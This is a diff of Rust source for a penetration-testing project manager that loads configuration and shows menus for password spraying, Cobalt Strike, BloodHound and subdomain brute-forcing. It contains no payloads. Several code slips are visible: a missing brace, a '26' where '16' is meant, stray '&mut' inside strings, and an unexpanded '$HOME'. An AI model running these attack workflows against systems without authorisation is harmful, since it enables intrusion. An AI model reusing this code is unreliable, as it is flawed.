⠀⠀⠀⠀⣀⡀⠀⣰⠇⣾⠀⠀⠈⣩⣥⣄⣿⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
⠀⠀⠀⠀⢿⡉⠳⡟⣸⠃⠀⠀⠀⠘⢷⣌⠉⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⠀⢿⡉⠳⡟⣸⠃⠀⠀⠀⠘⢷⣌⠉⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
⠀⠀⠀⠀⠀⠙⢦⣴⠏⠀⠀⠀⠀⠀⠀⠉⠳⠶⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⠀⠀⠙⢦⣴⠏⠀⠀⠀⠀⠀⠀⠉⠳⠶⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
");
|
".red());
|
||||||
let user_dirs = UserDirs::new().expect("error getting user directories");
|
let mut config_path = PathBuf::new();
|
||||||
let mut config_path = user_dirs.home_dir().to_path_buf();
|
let user_dirs_res = UserDirs::new();
|
||||||
|
if user_dirs_res.is_none(){
|
||||||
|
println!("oof couldn't get the config directory the right way, falling back to the stpuid way...");
|
||||||
|
let get_home_res = Command::new("echo").arg("$HOME").output();
|
||||||
|
if get_home_res.is_err(){
|
||||||
|
println!("ooof the stupid way didn't work... this is a bruh moment, gotta fix your environment variabls!!!");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let get_home_output = get_home_res.unwrap().stdout;
|
||||||
|
let home_string = String::from_utf8_lossy(&get_home_output);
|
||||||
|
config_path.push(home_string.trim());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let user_dirs = user_dirs_res.unwrap();
|
||||||
|
config_path.push(user_dirs.home_dir());
|
||||||
|
}
|
||||||
config_path.push(".config/pyro_pentest_tool/conf");
|
config_path.push(".config/pyro_pentest_tool/conf");
|
||||||
if config_path.as_path().exists() == false{
|
if config_path.as_path().exists() == false{
|
||||||
install::install(&config_path);
|
install::install(&config_path);
|
||||||
}
|
}
|
||||||
let mut project_base_folder = PathBuf::new();
|
|
||||||
let mut project_base_notes = PathBuf::new();
|
|
||||||
let mut tools_folder = PathBuf::new();
|
|
||||||
let mut terminal_command = String::new();
|
|
||||||
let mut box_template = String::new();
|
|
||||||
println!("\nconfig already generated\nloading config file...\n");
|
println!("\nconfig already generated\nloading config file...\n");
|
||||||
let settings_string = fs::read_to_string(&config_path).expect("error reading config file");
|
let settings = configuration::load_config(&config_path);
|
||||||
let settings: Vec<&str> = settings_string.split("\n").collect();
|
for setting in settings.keys(){
|
||||||
for line in settings{
|
println!("{}: {}", setting, settings[setting].green());
|
||||||
if line.len() > 1{
|
|
||||||
let setting_vec: Vec<&str> = line.split(":").collect();
|
|
||||||
match setting_vec[0]{
|
|
||||||
"Project_files" => project_base_folder.push(setting_vec[1].trim_end()),
|
|
||||||
"Project_notes" => project_base_notes.push(setting_vec[1].trim_end()),
|
|
||||||
"tools_folder" => tools_folder.push(setting_vec[1].trim_end()),
|
|
||||||
"box_template" => box_template = setting_vec[1].trim_end().to_owned(),
|
|
||||||
"terminal" => terminal_command = setting_vec[1].trim_end().to_owned(),
|
|
||||||
_ => println!("error unknown setting: {}", setting_vec[0])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
print!("
|
println!("{}","loading project configs...".green());
|
||||||
Project Folders: {}
|
let projects_res = project_controls::get_projects(&config_path, true);
|
||||||
Note Folders: {}
|
if projects_res.is_none(){
|
||||||
Tools Folder: {}
|
println!("{}", "ERROR NO PROJECTS LOADED!!!".red());
|
||||||
distrobox template: {}
|
println!("{}", "CHECK YOUR PROJECTS.CONF FILE".red());
|
||||||
terminal_command: {}\n
|
return;
|
||||||
", project_base_folder.display(), project_base_notes.display(), tools_folder.display(), box_template, terminal_command);
|
}
|
||||||
println!("loading project configs...");
|
let mut projects = projects_res.unwrap();
|
||||||
let projects = project_controls::get_projects(&config_path);
|
let _continue = get_user_input("press enter to load Command Line Interface");
|
||||||
println!("Enter to start main menu");
|
cli::cli(&mut projects, &config_path);
|
||||||
let mut enter = String::new();
|
|
||||||
std::io::stdin().read_line(&mut enter).unwrap();
|
|
||||||
menu::main_menu(projects, config_path, &project_base_folder, &project_base_notes, &tools_folder, box_template, terminal_command);
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,56 +1,21 @@
|
|||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::process::exit;
|
use std::thread::JoinHandle;
|
||||||
use chrono::Datelike;
|
use std::collections::HashMap;
|
||||||
use clearscreen::clear;
|
use clearscreen::clear;
|
||||||
use clearscreen;
|
use clearscreen;
|
||||||
use chrono::Local;
|
use colored::Colorize;
|
||||||
|
use crate::get_user_input;
|
||||||
use crate::Project;
|
use crate::Project;
|
||||||
use crate::project_controls;
|
use crate::cli;
|
||||||
use crate::box_controls;
|
|
||||||
use crate::info_controls;
|
|
||||||
use crate::start_pentest;
|
|
||||||
|
|
||||||
fn next_project_id(config_path: &PathBuf) -> i32{
|
pub fn main_menu(given_projects: &mut Vec<Project>,
|
||||||
let projects = project_controls::get_projects(config_path);
|
config_path: PathBuf,
|
||||||
let mut new_id = 0;
|
settings: &HashMap<&str, String>
|
||||||
for project in projects.clone(){
|
) -> Option<Vec<JoinHandle<()>>>{
|
||||||
if project.id > new_id{
|
|
||||||
new_id = project.id + 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return new_id;
|
|
||||||
}
|
|
||||||
|
|
||||||
fn get_active_project(projects: &Vec<Project>) -> &Project{
|
|
||||||
let mut active_project = &projects[0];
|
|
||||||
for project in projects{
|
|
||||||
if project.active == true{
|
|
||||||
active_project = project
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return active_project
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn main_menu(mut projects: Vec<Project>, config_path: PathBuf, base_files: &PathBuf, base_notes: &PathBuf, tools_dir: &PathBuf, boxtemplate: String, terminal: String){
|
|
||||||
let mut loopize = true;
|
let mut loopize = true;
|
||||||
let mut new_id = next_project_id(&config_path);
|
let mut threads = Vec::new();
|
||||||
loop {
|
let mut projects = given_projects.clone();
|
||||||
let active_project = get_active_project(&projects);
|
let banner = "
|
||||||
let mut response = String::new();
|
|
||||||
let now = Local::now();
|
|
||||||
let month = now.month();
|
|
||||||
let year = now.year();
|
|
||||||
let mut season = String::new();
|
|
||||||
let mut lseason = String::new();
|
|
||||||
match month{
|
|
||||||
12 | 01 | 02 => {season = "Winter".to_owned(); lseason = "Fall".to_owned()},
|
|
||||||
03 | 04 | 05 => {season = "Spring".to_owned(); lseason = "Winter".to_owned()},
|
|
||||||
06 | 07 | 08 => {season = "Summer".to_owned(); lseason = "Spring".to_owned()},
|
|
||||||
09 | 10 | 11 => {season = "Fall".to_owned(); lseason = "Summer".to_owned()},
|
|
||||||
_ => {println!("error getting season! Check code..."); exit(1)}
|
|
||||||
}
|
|
||||||
clear().expect("error clearing screen");
|
|
||||||
print!("
|
|
||||||
,,,;;::ccccc::;;;::c::;,;::cccccllc::::::;:::;;;;,,;,'',,;,,;;;;;;;:;;;;;,,,,,,,,,,,'''''',,,,,,''''
|
,,,;;::ccccc::;;;::c::;,;::cccccllc::::::;:::;;;;,,;,'',,;,,;;;;;;;:;;;;;,,,,,,,,,,,'''''',,,,,,''''
|
||||||
,;;;::ccccc::::::ccc:;;;:ccccccclc::ccccccc::;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,,,,,,,,,'''''''''',,,,,''
|
,;;;::ccccc::::::ccc:;;;:ccccccclc::ccccccc::;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,,,,,,,,,'''''''''',,,,,''
|
||||||
,;;:::ccc:cc:::ccc:::::::ccccclcccllccccllc::::::;;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,''''''''...'',,,,'
|
,;;:::ccc:cc:::ccc:::::::ccccclcccllccccllc::::::;;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,''''''''...'',,,,'
|
||||||
@@ -87,86 +52,245 @@ pub fn main_menu(mut projects: Vec<Project>, config_path: PathBuf, base_files: &
|
|||||||
....,;:clodxxkkOOOkO0OOOOxdlcc;;,...... .';,................. ...',:ldxxxdlc;,''.......
|
....,;:clodxxkkOOOkO0OOOOxdlcc;;,...... .';,................. ...',:ldxxxdlc;,''.......
|
||||||
...,:clodooxkkkO0OxO00OOxo:;;,. ........ .''.......... .. .. ..,,,;:codxxdlc:;,'.......
|
...,:clodooxkkkO0OxO00OOxo:;;,. ........ .''.......... .. .. ..,,,;:codxxdlc:;,'.......
|
||||||
'',;clodolokOkxkOkkO00Oko:;;;. ..... .. .,,........'. .. .. .. ..........;:codocclc:,,'......
|
'',;clodolokOkxkOkkO00Oko:;;;. ..... .. .,,........'. .. .. .. ..........;:codocclc:,,'......
|
||||||
___ __ __ ___ __ ___ __
|
";
|
||||||
| | |__ | / ` / \\ |\\/| |__ |__| /\\ / ` |__/ |__ |__)
|
while loopize {
|
||||||
|/\\| |___ |___ \\__, \\__/ | | |___ | | /~~\\ \\__, | \\ |___ | \\
|
let _enter_to_clear = get_user_input("press enter to display main menu.");
|
||||||
|
clear().expect("error clearing screen");
|
||||||
|
print!("
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
|
||||||
__ ___ ___ __ __
|
\n", banner.custom_color((255,165,0)), "
|
||||||
/ _` |__ | |__) | | |\\ | | |\\ | / _`
|
___ ___ _ ___ ___
|
||||||
\\__> |___ | | |/\\| | \\| | | \\| \\__>
|
| \\/ | (_) | \\/ | _
|
||||||
|
| . . | __ _ _ _ __ | . . | ___ _ __ _ _(_)
|
||||||
|
| |\\/| |/ _` | | '_ \\ | |\\/| |/ _ \\ '_ \\| | | |
|
||||||
|
| | | | (_| | | | | | | | | | __/ | | | |_| |_
|
||||||
NOTE OPTION 18 WILL SAVE YOUR PROJECTS BEFORE QUITTING
|
\\_| |_/\\__,_|_|_| |_| \\_| |_/\\___|_| |_|\\__,_(_)
|
||||||
|
|
||||||
Current Project: {} {}
|
|
||||||
Working Folder: {}
|
|
||||||
Notes Folder: {}
|
|
||||||
Box Name: {}
|
|
||||||
Terminal Command: {}
|
|
||||||
Current Season: {}
|
|
||||||
Year: {}
|
|
||||||
|
|
||||||
Main Menu:
|
|
||||||
1 .) Show Active Project
|
1 .) Show Active Project
|
||||||
2 .) List Projects
|
2 .) List Projects
|
||||||
3 .) Switch Active Project
|
3 .) Switch Active Project
|
||||||
4 .) create new project with Pyro's default tool
|
4 .) create new project with Pyro's default layout
|
||||||
5 .) Save Project Information
|
5 .) Save Project Information
|
||||||
6 .) Import New Project - and setup new Distrobox
|
6 .) Import New Project to Current projects list - and setup new Distrobox
|
||||||
7 .) Remove Project
|
7 .) Remove Project
|
||||||
8 .) Open A New Terminal in Current Active Project
|
8 .) Print upcoming projects
|
||||||
9 .) Open A Terminal In this windows for the current active project
|
9. ) promote project from upcoming to current
|
||||||
10.) Open Project Files Folder In Dolphin
|
10.) Open A New Terminal in Current Active Project
|
||||||
11.) Open Project Notes Folder In Dolphin
|
11.) Open A Terminal In this windows for the current active project
|
||||||
12.) generate userpass file from your obsidian notes
|
12.) open current project's cobalt strike
|
||||||
13.) run pyro's initail enum script on a nessus csv for the current project
|
13.) re-create the distrobox for the current active project
|
||||||
14.) Print Project Info For Report
|
14.) generate userpass file from your obsidian notes
|
||||||
15.) Build host discovery cmd command from scope in notes
|
15.) run pyro's initail enum script on a nessus csv for the current project
|
||||||
16.) build portscan command from scope in notes
|
16.) build external attack notes from host notes
|
||||||
17.) Stop All Distroboxes
|
17.) Build host discovery cmd command from scope in notes
|
||||||
18.) Password Spray (will print password to spray, and wait the obervation window time)
|
18.) build portscan command from scope in notes
|
||||||
19.) Quit Application
|
19.) parse a cs portscan services.tsv file
|
||||||
\n", active_project.customer, active_project.project_name, active_project.files_folder.display(), active_project.notes_folder.display(), active_project.boxname, terminal, season, year);
|
20.) Stop All Distroboxes
|
||||||
std::io::stdin().read_line(&mut response).expect("error getting menu input");
|
21.) Password Spray (will print password to spray, and wait the obervation window time)
|
||||||
clear().expect("error clearing screen");
|
22.) Launch bloodhound with the current project's distrobox
|
||||||
match response.as_str().trim_end(){
|
23.) Parse GatherContacts output file
|
||||||
"1" => println!("\nclient: {}\n\nproject: {}\n\nbox: {}\n\nproject files: {}\n\nproject notes: {}\n", active_project.customer ,active_project.project_name, active_project.boxname, active_project.files_folder.display(), active_project.notes_folder.display()),
|
24.) prune unused distroboxes (free up system storage)
|
||||||
"2" => {println!("+++++++++++++++++++++");
|
25.) Gather DNS Records
|
||||||
for project in &projects{
|
26.) Bruteforce Subdomains
|
||||||
println!("++{}|{}++",project.customer ,project.project_name)}
|
27.) Do all DNS enumeration
|
||||||
println!("++++++++++++++++++++")},
|
28.) enter external only menu
|
||||||
"3" => project_controls::switch_project(&mut projects),
|
29.) enter internal only menu
|
||||||
"4" => start_pentest::start_pentest(&config_path),
|
30.) exit menu
|
||||||
"5" => project_controls::save_projects(&projects, &config_path),
|
".custom_color((255,165,0)));
|
||||||
"6" => {new_id = new_id + 1; project_controls::new_project(&mut projects, &base_files, &base_notes, &tools_dir, &boxtemplate, &config_path, new_id)},
|
match get_user_input("selection?").as_str(){
|
||||||
"7" => project_controls::remove_project(&mut projects, &config_path),
|
"1" => {let thread_option = cli::run_command("show active project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"8" => box_controls::project_standalone_terminal(active_project.clone(), terminal.clone()),
|
"2" => {let thread_option = cli::run_command("list &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"9" => box_controls::project_inline_terminal(active_project.clone()),
|
"3" => {let thread_option = cli::run_command("switch project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"10" => info_controls::open_in_dolphin("files", active_project.clone()),
|
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"11" => info_controls::open_in_dolphin("notes", active_project.clone()),
|
"5" => {let thread_option = cli::run_command("save &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"12" => info_controls::generate_userpass(&active_project),
|
"6" => {let thread_option = cli::run_command("import project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"13" => info_controls::run_initial_enum(&active_project),
|
"7" => {let thread_option = cli::run_command("remove project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"14" =>info_controls::print_report_information(active_project.clone()),
|
"8" => {let thread_option = cli::run_command("show upcoming &mut projects".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"15" => info_controls::build_cmd_for_host_discovery(&active_project),
|
"9" => {let thread_option = cli::run_command("promote project".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"16" => info_controls::build_cs_portscan_cmd(&active_project),
|
"10" => {let thread_option = cli::run_command("new terminal".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"17" => box_controls::stop_all_boxes(&projects),
|
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"18" => info_controls::password_spray_help(&active_project, season, lseason, year, &tools_dir, &config_path),
|
"12" => {let thread_option = cli::run_command("cobalt strike".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
"19" => {project_controls::save_projects(&projects, &config_path);
|
"13" => {let thread_option = cli::run_command("recreate distrobox".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
let mut stop = String::new();
|
"14" => {let thread_option = cli::run_command("generate userpass".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
println!("stop all boxes?\ny/n");
|
"15" => {let thread_option = cli::run_command("initial enum".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
std::io::stdin().read_line(&mut stop).unwrap();
|
"16" => {let thread_option = cli::run_command("build attack notes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
if stop.contains("y"){
|
"17" => {let thread_option = cli::run_command("host discovery".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
box_controls::stop_all_boxes(&projects);
|
"18" => {let thread_option = cli::run_command("port scan".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
}
|
"19" => {let thread_option = cli::run_command("parse port scan".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
loopize = false},
|
"20" => {let thread_option = cli::run_command("stop boxes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
_ => println!("uknonwn selection")
|
"21" => {let thread_option = cli::run_command("password spray".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"22" => {let thread_option = cli::run_command("bloodhound".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"23" => {let thread_option = cli::run_command("parse gather contacts".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"24" => {let thread_option = cli::run_command("prune distroboxes".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"25" => {let thread_option = cli::run_command("dns records".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"26" => {let thread_option = cli::run_command("brute force subdomains".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"27" => {let thread_option = cli::run_command("dns enumeration".to_owned(), &settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}},
|
||||||
|
"28" => {let threads_option = external_menu(banner, &mut projects, config_path.clone(), settings); if threads_option.is_some(){for thread in threads_option.unwrap(){threads.push(thread);}}},
|
||||||
|
"29" => {let threads_option = internal_menu(banner, &mut projects, config_path.clone(), settings); if threads_option.is_some(){for thread in threads_option.unwrap(){threads.push(thread);}}},
|
||||||
|
"30" => loopize = false,
|
||||||
|
_ => println!("{}","unknown selection, try again!".red()),
|
||||||
}
|
}
|
||||||
if loopize == false{
|
|
||||||
break
|
|
||||||
}
|
|
||||||
println!("\n\n\npress enter to return to the menu");
|
|
||||||
let mut enter = String::new();
|
|
||||||
std::io::stdin().read_line(&mut enter).unwrap();
|
|
||||||
}
|
}
|
||||||
|
if threads.len() > 0{
|
||||||
|
return Some(threads);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
pub fn external_menu(
|
||||||
|
banner: &str,
|
||||||
|
mut projects: &mut Vec<Project>,
|
||||||
|
config_path: PathBuf,
|
||||||
|
settings: &HashMap<&str, String>
|
||||||
|
) -> Option<Vec<JoinHandle<()>>>{
|
||||||
|
let mut loopize = true;
|
||||||
|
let mut threads = Vec::new();
|
||||||
|
while loopize {
|
||||||
|
let _enter_to_clear = get_user_input("press enter to display external project menu.");
|
||||||
|
clear().expect("error clearing screen");
|
||||||
|
print!("
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
\n", banner.custom_color((255,165,0)), "
|
||||||
|
_____ _ _ ___ ___
|
||||||
|
| ___| | | | | | \\/ | _
|
||||||
|
| |____ _| |_ ___ _ __ _ __ __ _| | | . . | ___ _ __ _ _(_)
|
||||||
|
| __\\ \\/ / __/ _ \\ '__| '_ \\ / _` | | | |\\/| |/ _ \\ '_ \\| | | |
|
||||||
|
| |___> <| || __/ | | | | | (_| | | | | | | __/ | | | |_| |_
|
||||||
|
\\____/_/\\_\\\\__\\___|_| |_| |_|\\__,_|_| \\_| |_/\\___|_| |_|\\__,_(_)
|
||||||
|
1 .) Show Active Project
|
||||||
|
2 .) List Projects
|
||||||
|
3 .) Switch Active Project
|
||||||
|
4 .) create new project with Pyro's default layout
|
||||||
|
5 .) Save Project Information
|
||||||
|
6 .) Import New Project to Current projects list - and setup new Distrobox
|
||||||
|
7 .) Remove Project
|
||||||
|
8 .) Print upcoming projects
|
||||||
|
9. ) promote project from upcoming to current
|
||||||
|
10.) Open A New Terminal in Current Active Project
|
||||||
|
11.) Open A Terminal In this windows for the current active project
|
||||||
|
12.) re-create the distrobox for the current active project
|
||||||
|
13.) generate userpass file from your obsidian notes
|
||||||
|
14.) run pyro's initail enum script on a nessus csv for the current project
|
||||||
|
15.) build external attack notes from host notes
|
||||||
|
16.) Stop All Distroboxes
|
||||||
|
17.) Password Spray (will print password to spray, and wait the obervation window time)
|
||||||
|
18.) Parse GatherContacts output file
|
||||||
|
19.) prune unused distroboxes (free up system storage)
|
||||||
|
20.) Gather DNS Records
|
||||||
|
21.) Brute force Subdomains
|
||||||
|
22.) Do all DNS Enumeration
|
||||||
|
23.) exit menu
|
||||||
|
".custom_color((255,165,0)));
|
||||||
|
match get_user_input("selection?").as_str(){
|
||||||
|
"1" => {let thread_option = cli::run_command("show active project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());}}
|
||||||
|
"2" => {let thread_option = cli::run_command("list projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"3" => {let thread_option = cli::run_command("switch project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"5" => {let thread_option = cli::run_command("save projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"6" => {let thread_option = cli::run_command("import project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"7" => {let thread_option = cli::run_command("remove project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"9" => {let thread_option = cli::run_command("promote project".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"10" => {let thread_option = cli::run_command("new terminal".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"11" => {let thread_option = cli::run_command("inline terminal".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"12" => {let thread_option = cli::run_command("recreate distrobox".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"13" => {let thread_option = cli::run_command("generate userpass".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"14" => {let thread_option = cli::run_command("initial enum".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"15" => {let thread_option = cli::run_command("build attack notes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"26" => {let thread_option = cli::run_command("stop boxes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"17" => {let thread_option = cli::run_command("password spray".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"18" => {let thread_option = cli::run_command("parse gather contacts".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"19" => {let thread_option = cli::run_command("prune distroboxes".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"20" => {let thread_option = cli::run_command("dns records".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"21" => {let thread_option = cli::run_command("brute force subdomains".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"22" => {let thread_option = cli::run_command("dns enumeration".to_owned(),&settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
"23" => loopize = false,
|
||||||
|
_ => println!("{}", "unknown selection, try again!".red()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if threads.len() > 0{
|
||||||
|
return Some(threads);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn internal_menu(
|
||||||
|
banner: &str,
|
||||||
|
mut projects: &mut Vec<Project>,
|
||||||
|
config_path: PathBuf,
|
||||||
|
settings: &HashMap<&str, String>) -> Option<Vec<JoinHandle<()>>>{
|
||||||
|
let mut loopize = true;
|
||||||
|
let mut threads = Vec::new();
|
||||||
|
while loopize {
|
||||||
|
let _enter_to_clear = get_user_input("press enter to display internal project menu.");
|
||||||
|
clear().expect("error clearing screen");
|
||||||
|
print!("
|
||||||
|
{}
|
||||||
|
{}
|
||||||
|
\n", banner.custom_color((255,165,0)), "
|
||||||
|
_____ _ _ ___ ___
|
||||||
|
|_ _| | | | | | \\/ | _
|
||||||
|
| | _ __ | |_ ___ _ __ _ __ __ _| | | . . | ___ _ __ _ _(_)
|
||||||
|
| || '_ \\| __/ _ \\ '__| '_ \\ / _` | | | |\\/| |/ _ \\ '_ \\| | | |
|
||||||
|
_| || | | | || __/ | | | | | (_| | | | | | | __/ | | | |_| |_
|
||||||
|
\\___/_| |_|\\__\\___|_| |_| |_|\\__,_|_| \\_| |_/\\___|_| |_|\\__,_(_)
|
||||||
|
1 .) Show Active Project
|
||||||
|
2 .) List Projects
|
||||||
|
3 .) Switch Active Project
|
||||||
|
4 .) create new project with Pyro's default layout
|
||||||
|
5 .) Save Project Information
|
||||||
|
6 .) Import New Project to Current projects list - and setup new Distrobox
|
||||||
|
7 .) Remove Project
|
||||||
|
8 .) Print upcoming projects
|
||||||
|
9. ) promote project from upcoming to current
|
||||||
|
10.) Open A New Terminal in Current Active Project
|
||||||
|
11.) Open A Terminal In this windows for the current active project
|
||||||
|
12.) open cobalt strike in the current project's distrobox
|
||||||
|
13.) re-create the distrobox for the current active project
|
||||||
|
14.) generate userpass file from your obsidian notes
|
||||||
|
15.) print host discvoery command for internal pingsweep
|
||||||
|
16.) print cobalt strike portscan command to include all in scope ranges
|
||||||
|
17) parse a cobalt strike portscan CSV
|
||||||
|
18.) Stop All Distroboxes
|
||||||
|
19.) Password Spray (will print password to spray, and wait the obervation window time)
|
||||||
|
20.) open bloodhound in the current project's distrobox
|
||||||
|
21.) prune unused distroboxes (free up system storage)
|
||||||
|
22.) exit menu
|
||||||
|
".custom_color((255,165,0)));
|
||||||
|
match get_user_input("selection?").as_str(){
|
||||||
|
"1" => {let thread_option = cli::run_command("show active project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"2" => {let thread_option = cli::run_command("list projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"3" => {let thread_option = cli::run_command("switch project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"4" => {let thread_option = cli::run_command("create_new_project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"5" => {let thread_option = cli::run_command("save projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"6" => {let thread_option = cli::run_command("import project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"7" => {let thread_option = cli::run_command("remove project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"8" => {let thread_option = cli::run_command("show upcoming projects".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"9" => {let thread_option = cli::run_command("promote project".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"10" => {let thread_option = cli::run_command("new terminal".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
